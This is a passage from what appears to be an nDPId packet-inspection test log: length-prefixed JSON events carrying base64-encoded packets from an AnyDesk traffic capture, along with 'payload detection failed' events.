9QEvHfgQsJeL+DM6LUfp21cMNjckOWZsUpxGIiBuE8G4PLSsP6HFfrkdf4vmVdPT1PvOHsJvKX8hWVd7ePQBkp5lGKiNS0JlEiGfpqXk8EzDds\/0JB6CxIuiusiwt3L6isoapmoW\/UVswAEYIB0MEalgNM+mXeYYLujMSTtiWmZVKUErSR379cc\/lqV7mcGlvW0oaAV7irERvt0Z3dEYOMG\/+pngfSlXGV+DXdjgXtdgPeWqt5R7by1MHUiBRRfy7Ame6LH\/1wjI4+LLgX8vkXNOd5bE67HLF1z+kScSLsOeggouyC7RYQ0Hy1OGhsnUGewRKRWCzZFMeogSDzjJDNhDqd4P4ZwR\/R7uFdXvufgTEyf\/1YKak8x1fDZHl7JJdzYZMxGc\/driBJCcAB7FMHxHHiBhAOMXNQPOWNhUKYp\/XqXKVlpRT6Qwe8eg24AKsKoBgrVa5FTqTUOvZbXVIQRWM9Ifou9NILa2WdoUghkSsuPmMhlTaAG+CBHAT8IcnWXwIMZ+4npHDsxLGGZUg+WnbGF9Di5fsHJOo\/p\/CMIwauliOhhMorTMJ90Lx1jBdddap2isN+1\/65XSFzlyFG+wXKrlGMaGzF2MzZPXO4NuDaXkWnGMUCXsBYvyru+np1QzEgpYjQcTg18\/+S0dTbzzp46xB5S9TXVgnJU56d8Oo\/bEQbzmOG0wSPS\/bKwK5TY\/6hHy2Z6mMf4irnkFhGLii4KoTeKbQXGHcjwyr+bEKhQ5CNnbhg+sQPVftk1\/ojTuXn6cXRXUra9Vv5cjaFy6qFRLgHhL2bIrppY8Q69M8afuWScY0vWiUWVh7bAWYIsGzplPS4NbUPkjBdSPNJNxTA7ZEPRZcrqobHjQHtZVK\/D4qiJo98aDHcCVz2fMc3Q6VV+bbyEKHyJAsSDyVx\/Yx98FnE8Rr27INqGDEi68M+VT8Ssx90lGzQqDMyJIGS9ZxvlnU0BSDajJDhFQbynWEp8TQn3A4\/L6DFwSGzyGXvxgMWcIPVo+ta7HE7Z8Cw+ks7Wc+bdDjySssAP2NwICK9QLqIQU5jfZ7djBECK5c40aLWF9bR1XryvBV1AH\/HyrTf3IDt+OWojORMvgczO0AnvEvbj3bbYpAoyXFC1cHw5\/huNNjS7YErYqJAOuTlkzFHOiayyv7d\/FSDNpMsnuSy3SUJvdQIUXNMnoQZ\/FA1lwl1ES7YLGcv4JmfHIe9Slz3FTJWcODMw06+Aeu6Dyx1wlIYIBXr+BQ6dL7K7fW\/AO2jQeE4Q9M8D+hdr4rtxLJbiL0ehvD2E5Kn7RQjJp+hyLDXgdTgNFqEVTfw6VyzI4K2GwTxXEca5lx6785LEiD7XzIt8IHkdjCp21NiW7EVRxlNKOheQ0WLVKr7xmlbj8uFJmtQyRn36hcLrwGSDjRGNkJlAUhb7nJO9z\/kEDSbtwCHYv3sQIjzQTEYlM13Y1iKgvC+1gHXLYPupSiJjz5MYjxKe8AS09\/zTz2Ay27zliQyo1bzd26DfLTKTt71bIc0+0+l0zBRZrUrYenXM+SEwv0geOjCBX9q43dSooeVj0+51IOxA5I4J9cp7wpNOvUKfhlVnhgsxwpn8KYhZ6QrY0Hvaw0n2Ejp2U6dGd1FX1FhAIRQRaL0AqxYJ5X4naz8jRTPDvG8sbrt8npPQFhUU4FVplYDc5vUpGuDDoO5GPTqvPhzJNIHnutlMUD86SHjyKKHoztDuYPybw0DApNGZi\/K5pZyrh+TqsbIkM4u3Mp8urIdw0RU7EAtwB27G4GVdC8AS6A+dkgpbeH\/kN3anTba3C5u5rN6mUN4+GU0ETpytRb3tmgsSSZDxKTYL9S7\/W7XKxmietZfSJhE0dbIyg87ScShX6WCO2Jis\/gBIRWfUEJKdtHGQctDe4arRkSfZMWemPYnDcLBqUyw8jJmouqe3n6s\/fhq9TYdWW+n00AgJh95VXmJWj20AKpgAOd0vsppE7nkPS\/9gNZJpuf7ac9WGFGF3fzc2ldKR09kGX3FrCazr4QMPe9tPotTkTCyWygUUgq1bpjqv\/9SrJL4f98sxVKGP27EswptSxDx3K\/LlRVzSruQmkxZnIE5JXAIAekUhE9jU+v3q\/q1JPDxKLqs7dg4A8SZRkx91Uvf6ZfVtQNwnrY7H5cepe8mQHVN41UjaF36x3xajpw3ycRfyUdynQCLA5AF7C9Imu9xAFQcuKrDOsC5U01NBjJXobMBOykJSwi7zUEkP8TWp3ZPFBEnj8DuIVSIjaSPoQDIuw5\/zyqhdAPPweloX9rWVS52iK9YUHpSyK4QI4WRNgtu1XVHSHax5GdGlKtpL8n3FQuxaPWPNVDnHhFdzCJmTkzc\/4mQMVzTrlhn2wMwdZBTIR3fwNWOSt9xWuZAhAIHurlX6biwzd+WQfgpLIhaArvFf03h0hgqJzkqnIc+EnYsJdLcr3WZysAg5szKI850Ts0DxhEgcW\/8Frs9lU0DuC1NmbdYXJkLjDNn0XVkdMCX3sMubCACkF8VWuyv51wZfpVyMiSpcCCy6LyHs7z8olyDNnpdWdUk+88HB7XPZvhcAIX5V88s5b3\/tU6FBEZqkW33MDTVnO2PdXtKx3o56dZ6sLTO4aVDFI4HoukNBFrSG6XoRrTsL1+JJ5KE7JAEEyAOFIrH3kBKQunUKbZEjl\/33YZz3Mbk2vdzKuNsmiTn4HXSLljRDUA93jICmTeQDYcxYv3NTN7A72eJ05BkcjEepbU68enJon3Xusa4a8kBG4Did2Z\/lDdcUvxpnUip+LlrMMrQBjJ85DIpfCW8C41BQzh77MXdWt1t"} +00178{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2038,"source":"anydesk-2.pcap","alias":"nDPId-test","l4_data_len":5522} +06701{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2039,"source":"anydesk-2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1613977614,"pkt_ts_usec":982612,"pkt_caplen":4719,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":4719,"pkt_l4_len":0,"pkt":"KDc3AG3I2MuK4S0uCABFAAAAg8FAAIAGAADAqAG7wKgBstOUG56PL8T8WcRHc1AYIBOExAAAFwMDEjRZ4hNO+msW3teb8X0GL2USB3tDVVk3SVFyylj4Ni737fuNiwS0oAt1otim4hhP5qI8iuE2x2BYNFfSPpxaYG\/bczXmq9KqHsAb05iOZg5FJwmmtaMz8Rc+wLs509GPKSYOn1F2ElEgAlO4A4Y1YgCh\/NtsX56y7tzfwsB7o\/RvXbvSPdg9DYnK7WJ9jbu1K4k4T6IEcV1zt\/t47KxI5nZ6N5VvBU8\/IXsFX5bz8QkZxTjLvRgTrjcuyb\/afYA12F74QU5YVx+KjSCb6RUiSVw37szaa\/ce6CBIUsMakvdFWSR0RTKB7z8Te+2xFtmKt9ytQKgN3ZHDPUM5n9kUGfn8TYSn2V7wh1DamVpnh2k1pdDWsokkUhlX31KF5biwKjFzYP5Ml8Iao9xZp80\/RT1rVuEDEPpsAvakRwubD0gZp2GyKAQVdJqsERB81ni9FLkU2sz28PIl9lRv4iYAZeiwMla29UraMq1w003zS76bjU4qr9+C84QZAud3ArxdX6BgdD5dYcDgBLEcwk31SmX6FvnIVBwDo01laWghAtzl04wlnxKXb\/0cE9Oyc\/hcqp4dWBtQkP0CvQtEfOsycv00E0qLEqwUISD\/wqfPES5i97hCvSN8lnFuaMHG97aV1rHXDL317fGfVbUotgUc5SZJiOA7T51TZsx4W\/4na+tSJ7OwnMv3+TsWTFq7EgYEEaLh5Fbe5k\/wDcRoYhW3AgndvIN0Kvj7A96xS2E0J7B\/VnK9m7UOgC4DO3WQkPXtos7sI5\/hUWOyq6dG2vI0g1cw5L8habNpR5eu8OyCdMDSBeZklKlEJPqln0\/MCy\/H+WyBffVuZ6RK4FIw+r\/0w5XqkIU1oaL6RLZ57YuzTITfuGuWA2hX94+oYh\/I+iE998wwsySYkTmTB9K0CTshehJSMkVsGxZp6Xj+2VFwyP40+kqh6aRbR34YW9wFgmkEck0SwkIXNyHRKnBz6OXUZ7KzRq+WyvSXVgT+F12PV4yPlY0y+fRtiC+CfDSLzKvya7nFE84RbKXZV5gzmZWczXGv2w91VoAUaS3xlPMtkwFEvOeZNF1Za3zPCs1J69zlLqvGzoxCnH+6qKRcaTIZeKeV9NskRaBx9pemj9w4jLjQAubaf4Xm4vhjnmKwXH6FP8T6zORoOi3rKGuqHBnDVphMQEkpMn4\/yST1MMYQ+soK84CfkVWG78pxLsQomJdIb\/MVqBUOV0Vurs9FmvC08v4oxk\/EircL5HOnvwlLuYPdBX0qHEj5q4UP735ym5oZ\/fmipoP6g388Yn3MUldc\/hWc\/aV6Gvs2kV4cn77EVnKsx+7I6zQCiHdIxV5hr2qBtyTRq2+HYZRwQn2sC5Pr65jFLzM8Wj4ftFUJnF5shGRNh3dRH3\/o2LMvzcgU\/GWBxk4BNdkSCfkuB8nOY5fkJSv6iUQU7w4VfugUAXous+iKVIg2Ru8C69bme9LA8A\/QMS1Eb\/vmPWTinBhbKw05iOC55b8T6FoxmgMpNB4wUuHc3\/Hlaprf9k131qxgsFyrIKQMwJnNf6dDTlqciHKrR5zzhtR4B6DYOuWzfJ+J9M+k5LsCHEa\/b3fODSvp7qmruyLZ4PVx\/6u+Bpo6O0D8GELfEURaQtFrdYJtQZjwEMnfCcwUiOoo+6RgUbIvriIbS4YvDAaqBK1CF3f7tTaRvk2\/KyRQ3KPln9KSYPIoFYhjIJdMEOwmPBF6\/pJX11AlozQTpOwreaOMjQpjHBfOwvOB0g9p8oty1YzTOtgLASq0iVSjQxXklTa3RAbiJxdGedIoVlboMVSAZfFg3sLoF55TsCpQbt9qnS5jX4Ip0pADxQ1mjXUpxsxbPR+Rf3BH4wEZ3q06TRsqqkgDbKccJl67\/AYC0QEsbN7FUTvpZuELzeL+pFrWA1KkB1WYMYTJarTHmKqbgngNDpg4Slunk0iQhNWC\/tTOT7BBlhmeO1Hm75sQdUbGYHUJ1pLPUvLPwm4cEMANHnE+5+hIPVi8W9Iqe9b8G5KNGHfB0HVFZu7N\/USNIVrGhrywSCYMphxVgLekj1\/2P17b2rOBWd9rbkxGVy5gZIcmLAX0121wcf6Dsl4uL487bIo5ifADhtFWVlL5LBiuFq2ymbkGZMfgzp8Kovu85PO2WDN\/P073LxDAnLpwk3cdVID1HWXPfpGZq8Cub\/bWhmKgjUBRFwVUXdX38BRMJTNII2p6li4Z7mxzSrl9q8GAAhDp88EnXkev6Q7Nht+jt4R5Ev\/+hD5t2T\/KRaguAyg5VxbyVX9AvGiQne7HlyvF4bBMaqKeR3Swm5kLsZN8Q9EDDILI1adZMlL9LGJ8i0JjgrOdbYUhs1LIlyF5YwLI7J+CfW8283Ak1xBhGYD5BP8aX+HI6OCA4lWAPkZzBhStgyogQ0PdmVz3EiRGGPgKx1Ggyto7zTQa96kPgGyRL3SyWlE56ZRPYfnHoNqXUzquk1m3vFOBn6IYoTHO9Nm6qxgqqumL4OfVcFgXNi3cFAHmvDCeg9SqSN390mmO6er\/rMDvBTtC2iwye2LnPJiUOuVxgoopnL4hRuGpUTmwG6p0e230wUun3PGdPAKx9LBeDxMdVDy396w\/Trnsve583neTuRDXbyfJJDsMbS4eLszlqjyTJb+iBkSi0FvUaDlbGwIKiaAVvztH7PEnjgFXeZrMU8LLXksNu61VJjnW46+U3BuBGH1LSKCG3GL1a\/PpY77MDZ+hxKjNkbCus0jdRJfSGmP537IhJ71F0s9\/qgBLgqNKGT1PTWOT0Tfx1gO29fRNmANQsFHBKbn5h5NXIfgOcxSiU4GgN6gQFov+y+pNO5xwKPLvOvwtnd2AnecUXEDVOUMRDRwnXktyiw321\/ufhYEYnhioDEZ9dGVSc+8hLIBK55Iw37FYUWkKY+VBAQ+lsQ76jfuHe\/xqnIneMr+n\/Jd\/8F4wRqjnk3YkHz9jsP7CBEiL7DExev48gjSH2H5huGg3Isrtn+C751g7IIDRsOi8EK2LbfNnXM\/DFgIW5yF+EEO\/OKWhrY8CL6MwdJ6btqCDlymcKUrK8a+W0CqfOM35Tut7onalnyxacnAzLbRLjWULYwRKAKdU6O20BDf+PoA98g6af1mjdaP3ef\/Dd+kBWUghk15AsHPshplWcb\/5V6Y5VqjAPxDmYP77lPc8ziWsSCIl\/eVMxzjCc7mk0cYWRyqLmn8X2tiqli\/rJHvJBcmto3sy4A9iec1fLYTStjkeVwbLvwJR68Q2qWXV6Y5nGnV39mrP0rYrSheVIdFVltQHdui5WzFjJxBKo6C3YfIVDCM+SHpj3VCHb7z2SksRuGMsvtzfjTrbPQRLlrfRSJveTd6873+vH4GZAuLYAczNkcGw9O\/VXSx9whb9WrhnQdUREpbcLy4BxGTfzQRksSPVsbzfib6cdFl9APioXKjOocChQ7Ai7WI6iXj6hdLOed0ood\/yie52BB13PBFmWcBbvzo2mhSnMR5m6OQuqMjEjE\/ZHdAzISc1ECPYfnCualGhRb0PsjXI9kLf6b0m+kuhaQhLpR6i5MaYCIB2DR3G3ISG34MHBJRqADjgZ4sQ5ESDqjUFTFIbcVi27rWTpzuWHiva5Xbg8WFd9VsfcbqJF90+Ta\/CJPJd3\/BrSNkMZ3ryVxe68wHQvE0J03oI1+qzvtf8r4fhMinU3a4bHS2KXGpq0kGnYTB3R0Us2Zx22kXQQIndWqvjwT7Z9I35Afv0\/4K2CBsndbAoQ9Wu4vvetzDDRim780Nj4MZleIvE9x4sRzCMLA1QZVWEkXb2VAFHUCbJ+XaZTnImV\/M8mdxSmbrTB9RRhPwdc\/jW+tbB7h0TeLlor3O\/ZznbWIhsF1i+ckoDqUT3hXFAZzROgEuvGZlM8MzZfbDG0FPYAHVH8XuYOhE7iTUSCmDX8XKsFybmNGC42r1uHDYuV4NfAjC3c2wJnJdX1hGUwyMquXkDsipsXZHcm2sYoWrADgSJW7Y4knAMl\/l3OVf6\/u5VfcG87icupdr2r4iu+MEcRuoiPGLmA9JQBjGxtwWB2+CMHRl2AmnZsBvapk3AlptuzF5x0DHJCBYKvzgmXgH5b2UsZwxu\/gVkMGvsOIzQhJc0YsOy+3VRYnlFYZim\/0wv52hhtKyCuTDpMNbdmR1EYgsCdxCqbJbLqqvOZVSv9841JSZLGCk2B63PjVdsYnxx\/CvFU\/RMOt06MbMMTAg3n0x\/ZON4vn8m1ZpScyVJoUrdRSWnkkuB\/hDgIrgLJ4Mdp+ldCR7EP\/DQ7iyzXWXG2ITwPiNwny0za8avPZx0spmtrRMHH6u5UepLPh6\/B67NA\/wDeiM6ApX9xLEboEHL6BFOjaslcM\/24O9HUQGglfu43lqtC94pk8nenREivdtwk4gWOrPjgv3sjv0xVAXjvAbKY3P20luljlKewnpYn6WdkeiUib6VN108x07oM\/pSE7KQn\/jjqgXrWA6MXSfmWZJbFMDaqtIn\/xYlzff0fYaz5aN9A0KUKVqfIOcyyreHCgvzor9yv9LOXFKqVI0gitDnS0gUumtNTh42ZBfDlv2CxDVi62QjJy9AQlbDPlDaiXQiX4TUduCGxKucVdTfei1uBlWnguizXxmNBoB5qlsOjtrYPvcPHYuuZI7y9unQokZ3Q3zAa5CJTM+hMGoddHoNRBQLoRXL1bSzCYLMQyFe6DhSmy2mUEeXw51P44Q6NNxWKeNbFC+J7BEOZpD8D0kLMQ8m3SSltVVXMlq6ApT7vNHcRgWE33DFVMrdt\/LGHNfnG7Ga8mYv1AD8a1mNxuvIXYUHsR7RgqwckRtmj1H0lYeoBFCQrcqf\/h4PKntRlLqECqb1MhgaPRUJUy8zNp8vi+ZLmKPLMVpB7asr6NUHX+WbZKUdOnQB1wWz\/SBP+tj3B58nolDGe6IFNECTSdQHM6zTEivunPCbOvVcrYO5BZ6IK95xY3KNtvkoZhUHDQ7gj58e0JXyEtH\/s0wNGaXrtSClpe9S97ntrRRyACYZRq5u2+yhtUGGRxxppyNkJzvtS1LcckZLURoPr1FAdsx35gBek7Ki0zeH22FlCAawtogcVgB1WIK89A45BpEBwc9GxC1e9SASLy9mRbwqhsGEj4Si1PLSIi8IYh2Ft0Es0c4Zje3W8idJTz2ScU26LWDlwYVZ76thci3YpR3TXtZYTHNKLOyDT+oOvDMlIXRfeWA1H7QyOI28bPq5bWPO76rIaBg58jJH9sidTkhUICv\/qkj01ViEPfT1V0aWAUMir3EGSah846B2TuXQgjwF4tr39ISBGpKIT21\/FH3VXn\/R7eAiU6CueHTnOUszJELHe67oUJ1T0OUFrUrS61jo3FlxLAnNizGyslSloUtP1gKXc3GNYLibWmD6l1ggTggl3KgH9pFg7ulRpgvmLVJbfpueRYJfDar\/AkZtA9ukvVJN2L6Xzg15epnC26VF1dU9rm6\/SwdSuWMJ6wlpsvxai\/OGmBItNgh9XgOaToKuDvgYR98Fpoc74Yefwpjc5r61iKEmIQVDOgBJl0XxFKD+fSv8rWkiWiK5F6MPpzUMpuJc9dMWf9N0YGwc74p+Y0nS\/GT5hZElqbkEWcg0Y3IaTBNf7MRkngIaWbgjIB+cfH9IyzjFLcmRyX0HSRjYPsd46pjR1mPW1H9Pg4YHIwYBB\/9umVYyXr3nfieFrRjeYEUXoBt+kKfuPbQgPvzPwH09NXr3UnQUn7czMZJft2zss\/7Hsb8DQjdFJ\/vyIPR\/eidptYOgb+P1Cz9rFXNuvxBNye581qPodOQqLEab1APxRsoRfGcUefzq9J8v2aOF3\/KSZ3KRRwq0GTwl5vP6B\/ui92BZzBVzsPbaEeqfXtQ8gOwVt9Cv30KCE5Z0bABmLxIitDpeu6\/GP+rScKSnBQ7CManqKn0mUYOqSQ7O52fBxW3aSlfgK7mIBU7V+cXX41ADeb1Nh\/kzsJWD7gSz4bOJyHRH\/yAxfgMAcdP3Mh+0SVhoHldmr9S\/zIMWgtyMtUrhOaW3GaOJHAAYFIHth3GbcPIsZZkt8iFC80P\/hfP5\/8RZ4KQLpPEGmBSIuiBQZqnexL+lyeLiYDEBNzKzt7CFtMzfJcIOu4clE+Cd4o+mSvU24+CDD2\/TU3hTWfhGLsAqdhZqn4zyXKa5dEYI7QtaCFSuHU5g85Baje0Nyb6XsBXuMeYHwzqOxmqitINuGvM6iROPinI23g3x"} +00178{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2039,"source":"anydesk-2.pcap","alias":"nDPId-test","l4_data_len":4685} +07848{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2040,"source":"anydesk-2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1613977614,"pkt_ts_usec":982810,"pkt_caplen":5556,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":5556,"pkt_l4_len":0,"pkt":"KDc3AG3I2MuK4S0uCABFAAAAg8VAAIAGAADAqAG7wKgBstOUG56PL9c1WcRHc1AYIBOExAAAFwMDFXlZ4hNO+msW30sJxEHwmIzEB2woZGrEtA3yzeBhZFVw4eJPZSgRAGWu+29x5B3aYwaf7oMgLbW1CyRkxWz1TZ1OfYwM3SXn\/EnHcClLQJnMUNUWw3QjM7L2EF5a56rQRXYMPKP2iGT7\/xuPPqf0EBDPCSz+rrQ5OYrf3QOAsVtSwFEoHrJMevVVsA76wpJQn74qN3Ih5IgiILS7VUwZ5MPRSj0LJ2wTZTjR1EiSd05pYQmspQLlDsmq3fMSyX+TxozS3qCju8WoLuNd2c5JIWJp50CKzxZm9DzH138aZinDIK2MpJwXCuIH1s1y2z4Z6PfHx8r0H8rweoZIRlXCT\/wOyBq9u\/+ZBpxHUmAH4kH9HaQI4WxpbQOPm30Wj9rU1Ta9EBvZ3HeikRhgWHXspwIOjGp07PuWgWLkDIeHYJV8CBviKUA\/KGp8J1exmqp2ZC6bErzT3RSuwNfkIU34y8pioxGhuyTp3N23vsaTkb6KUnhYqh2\/05AvhXwNBn7FYZhKyKIICd+nHM7zNMYJaEMd+DnlMmgMj3QCwHhq0VNyiKultpCzr\/DxCM47dgWmjq9WEa7ODzIBWpCie3Odn5maG1jF0RQD9Mtb2il5z1nXw+78oJVMSDNj\/HncF3nMqUTe24Ni1led0CrAy2wl0xfyY06d\/r3Fs9ABQcZADLSPLfLZeir\/TC\/bWst1ze+hig543AIe\/hc6Ww\/Oecc5nTbRC+NtfRkuxNuUmYADVOyvHKQNX9k0GnjdgVlgXQhDRd+qmjykQZkw\/GNtbrdB03i3MynBQLU3PmE9mZ0Jx+ZtiGeBxfzxKmzLOUj+GdNKhwfYPGTB7BwuUZa7wloZpJLsIC11V1hN1ZSDKZJeHvFQbnrKA3vCZq9ygIiIfAAW2+kypOJHfPTYeuCQgh9hMBZ7u9uLbNlCePy+oc\/ZVSpXIk+tFI+LoxVM0\/OMMUct9v46lxqP24UtD3+VDDDj9vD5Ao552c690+2RGsI48pPoDuVtQVaRqRrm+2cMmXkeiK15tdNGNLlUzV75s3lQvZUcwfpVcNx3Hc7d9Wp8OC6e5T7T0bC1fHKUHwPyjkkzlSrUL8ILCNmYqAlOyEgL9Z0OPzTNM+FsWN9W1vg46l6RwuL8SZZ4e7oVEia03uwk8mdIQa16iU4thFIOA\/5xHrGSD75rPC0O2MGu44jK7kaLHyzmRkw6Hw\/6OfrVInqOI\/Rkezfl5EwLNusiE9DWFnnYVw\/ULcnIwL8KPmkmGdtP5ENaA\/rYxErzM6Asz+Ql0nXhEwEogxWs8r+3nAhojoMJ45KVl136KI0G8zj7wtN5\/9qFOTAnHhoHD3OEOv0WcvMRULY+Jg9MykD1jBUbsVLZo1WFNPY2btLaxlC12dTahFYHtZ9gZZvYOMBQHBEhwhbqpG0\/fTytxWGMoTIRqSnGbYQ8kuFmhdPK\/FiYGUQkMdQRs1jo4apVPl+bIr\/7b5ifrR670I2jryB+vZGZPnOXof0q5Mrw8l2Oh3w16Ls9u3qfcMrMyZwpe3\/YCrtXfKp5SFcLfbysEYXDTJV6iKB9XIeEOzNLpOxH+Bg7dZnKCgWehKhxDA5skzoSUBFeM4cjAdBxzqd26J6YUDbO9RYs2Gwkr+S7yHcp6lVC3kT3gXo\/\/vvJttoLpgrfBHU245cs56PFzNDmkeKEClV0fmZSE\/oTwgbuXa52ZCYsjRLaKlt4q8Ld6\/Ebk2vLC\/cGGubQYY\/3Su\/q7BrDIX3girl\/+TflP1Dwuu3AVABZWNhze32u7WWVvIbve6ZL5Pax8YZFjacJipPKaSprlo2K5Etc0PThYJUSf8SZaukWRQus\/TtMVkcWLwZwrQSJBOQOYK8jpl7RJrQun680sgDsXuyjt+eAnuRHDuq8rYdj\/G76GVqWYJ3KqamQGvKsSvcU2DPcq5Ub\/iVkcZtXx0aWZP7k+bxOO55zQpkHfqd1dnh4f\/yVz8FpQcYRk5Z0Ye3BFV+Or\/LR8eVm8Fl\/OrAlIUdYrOHcf864sOwxOM++UqQxEfpEreIT+cemji+\/j1xMUQ7TFVySvt23R+CwX6tQOib8WLahKgifB3cza3vqgLPdgLDR8ZfjmKNkevHG6bVImu\/DLXwyvWzDQROZJgeOAcMj0eYcQTm9Zc76uXT+ZWmW0dGnhKsCpYPzmSL2YgeEgEZ\/iWJa2kvg1tWxFoBPEX\/ta9YcDYFaGtJ4yG0axGOHq09SxnYQdO4KjZaKzjLN4K\/TzqtVrb0FUzlUtBv9564RlPDTUCsD0YaSKQAzRYTOANP2tnwdhQvPs2EquDLcfm8s6Ay+bOGvwwZpemGv3\/EjnE4NXAKaEY\/+Y5lfiPtl+7nboQuyw6zgT2IJBtNRp96F7SnHXv+csK4xDsaBfoL1gDih2JovUg6HOzVujV+tL8SiyoAyz0eL63EaE0qWtgctphvfkzcI2DCGqSYIqiwQlUrpJ6vvM86zCg4beOR+vxqSsfS\/PKEddWUyweuhatSoBz3FqDkmuRxQT3XEm\/yawYEwpCoC+vq0adMtebAwRpj9\/A7ZiGE6OoglWwy5puRgx1ujIHCjz0IUFRLTByYufwSwVzXttC7rXqgrGfYUPnscvysWSzel2oksY3MUgP47aL5b0VNFm4UVFcFimdXLD9N2ehzjbJ64vcBFfBH2Yu+OBshhARL03c5s5m1Hx4N9qhiRo1uKuIyl47JE\/KLvD7\/RnEg+u73ArOKIMGR6f6tUYf1rqjGfG1gSJwAyomEqlNkWPZTTFoBu89PAYjkT0fhG8pII\/JIwdd12O0AiivpyDCivfEIlEBYMhFQDOI3VkeU8vzH0wAsT9GRnZcshHQQFH7ep1+IQ7yM0uRkuSp8dXif1v5iLeeo5mtxoiGecYnWZZFFcnmRaB95K7x7f1LQ9DvBV7yXu2OrogpKR1esECEQgjH\/wINhsFNSCeLn227w+nwDAfgvLobHLwDyevqePzihrsPthlfbY\/DEIw8Y2sI3Kiy2bOxvzqdQqdQi3UIJyaqSI3dWvTphHs2RsjYi+X86uwxR5f8FgBmv8BYNbrttWO+1caN1RvUbT1ytZlByr4UET2oT0dW\/qWZa\/K7bZqXcrGhUR3QsWIKGzNmf2EHBlT7dwionwjR2glU01G8j39bgJj\/kyYKpbkQhUqpbps7eaJyADUGekfAhrQQvYHIuMs4dvVSepXNTsDL8ZrUGEyGj2+K20jDjoA\/nmmRd1zjmDTu3\/G32YcxZ1YCU\/FnZa7vD90pLlUFwJ8VOIRxU5MSkeaaRNAlOxQgWWYSWpg3zGaZ1qf26T2kvBPyIoDrMGtoNg0K9kLqsc1LZ2JGIs2kpGLCfRW3tp1JJvT6OC3LwojAYFbv8KBeV\/AVB8dDF0k0bReYkkxakRNGrnm0b7UtRD\/BlqfwaDFWd01P9\/A52uvEp9l1yKDa9ykrZJpOM+WSa9E7QQs0uJPqCzlR8J2O1C7Ck1G6tGklN0plre0TAK3P47c744\/LpdNF5BEfXK5GSjX5OchY1v92+GOWNVM\/A1FgE2FagEB8MZX+zEyWunNOSINUO6GKHx7pg8j3\/FVfO6IVpoasE4sj0G2UpCdMnW\/iSI\/xuauS2kHOAkXUczFIpAy+0XgdefMJgHeYRbLRN9X11K\/OcCZGc8\/t5z6d8qQIdsCaQttSjRc6rAsvNCcfbCo5HZmwsbyvB+2en18KqXR2uOVW\/4mbnHlcH4IhnJBlTD5ljX5qN1+oa73YfuHicJFJuRBP9O\/kv8WMLJQrxTAUD6tSxHAT8bMXfOkOyPlJ0Z5MitZtPHnigMMw4j8V72BN4tU+cjSIWQSN1rk00ksUDW9PqP81\/E64rKKExGRs+7Tn81m+dzhSwqr8R3KpRC3KZ74kQAY4hs9R7BS6Z4921DS7xIB0kAbiCUcQt\/Qt8+gQoBAFzFoAJXlc6DtlhmIktlSC\/0D0pI7t84N\/N6XPRFR+2whFZmdT+zSLKbcYyzRD1ENXMsqsLg1LK1fcwJ6udM7Tc7seTgoJBgmazbbpmj59jMPToPjg5cw72Zb7rt4S\/5+jM0cfUb\/UHBrlObHQmtu33ri38GsJIQPrx65asdLgVg2gh8ykvRAIxN7kUZk9Lee91p1SwXLNvdGSeDXSyeJIKJlqMNjLpgWR2vm6wyARhULW7ZsQkfIT4va3Dv4C0lwbbYrwvaOQEFQTU8oH+ipaUlHMuiuDKgNWINpJ2ObAWyo7UlXqloxV5G8je\/nkBcX\/ScuMgVRaMaLc1Js70ehPtJq5okaf6qPxFYoPDoVsIK5+UKDncMNvGlTvm8ggXctsfnHW+fUV9Cd9TXmdGGjlZ9DA8zsAq+vJOYjO+WAjC\/R7CJpNi3OmWZBARcaIzusSQdCO4LwQvFPGDbMf3PTJenNJp8EJbtH1YC7tfFDx9CnFC918ZkQ7X48nkK9u3CVKLbQxD7oUqmQr+d1kNBZvkOuGeSvvhiA32dEZWFpLCYmRDO4x3\/PCx1i6hn11VKAUgbWziIZYbDiDny6juaqFtapdtdVeQguisrAhTorX5DFAbE7yi3kifKmpHZOfwLcQM0pKcWg+SvuZSkum2N\/L8G4BbTZcW2cv4+QIq5\/uCSnKL10ckrb3iP6mRMi6lgCySt5k99FiuS0pbtn+rYf35DuBsrNA94pjBKqWqxOLEemp20EQTymLbzpIuXfItvZDJW+RlXpDh065LJKq8155k3ZVE2qTA+FznzkIGlS9GYfDJr1PRPY4qe7KsHrTZJXaptVexClezaAteB4O3WmKgfht9AMFLKvWw13B0Qk8\/t2Oicj9\/rQN\/IcJHXdmqUYwZT3LGG1RPjofMIxCDA3C0U13CICU\/9RpFVmzTZU77wzuhhbEKPb1mnJcwC7JXobFLv3gcgtCefQxN7w9qsBw1xzP1gofAP\/ZIF3Ef1edDp3NLd+Al34DvqnAo3+WrvdieQAgMyXI9UxKPOmNPQ3aGiADTXD\/DBVuakDbNMLJVDJd9mfX2KORSCLLXgddFTrTD7scsnkpksHNKPNj4wFeY3BVt0oZF6h+qvKpKkHsUM9hW8uStM0DY4JuTMku\/xmmeQJGsm70+7t\/J7ZoRFCzws\/LyjXx\/7Evaec4Pt0Rkxu6rFZp+szWynuT2STw5GwWf5bBm8Fdaz0QsE+Koc1KMwdY89VsmEmDKxevTsMy23aLPARznnzlQLqF0XObf8xE9FWRn0928g2qDau0tRrPY5LG6aLKshYi7sobsRlM2BswnWHSXAFQvWsKo\/LEbHtiL5Iy8eiqSwDLb96qH6NeCVtMAavcbI7wC89oEhGVhp89tMsQvycyyl4OPfAK6bIder66O6Z6TF8x+0zm83JFBZkFCE7Q6n3n2mjHS7DiYTI88PJswDovLGqMNnbsNwLBbPln7pGB55gO87gITWmojZ\/wnkp7FxKmjxe\/C3oBCZHylgFRWPXiriNvo4SLUSVTfzffjVdnwIiyHFyf03QAGTEp7TcvfYz1bjGSaX0EsFcTz8LGgk1Rvyc8+oTUdZmckfRmXCFgL2gl5ovsa+Hfz\/FwQmlgUSjTjkkX5MkU5PnRftCTsXRwSb0xjKct4DoWCOOsfyS2DR3wqnaxKA4rVaNjQRkH9MtXxDXQNgNxPOMMoDzHCl3\/zHr0uTkfZrTPkEsBaYJNsM2ye1hkb8AbShz3KecLKo7IAXfSns6k\/kVYDVVGOA+HxsBLPpXBqspiQGA03Y9w0y+Rb9UoGhJE\/2i83uPmrW+T6B\/O\/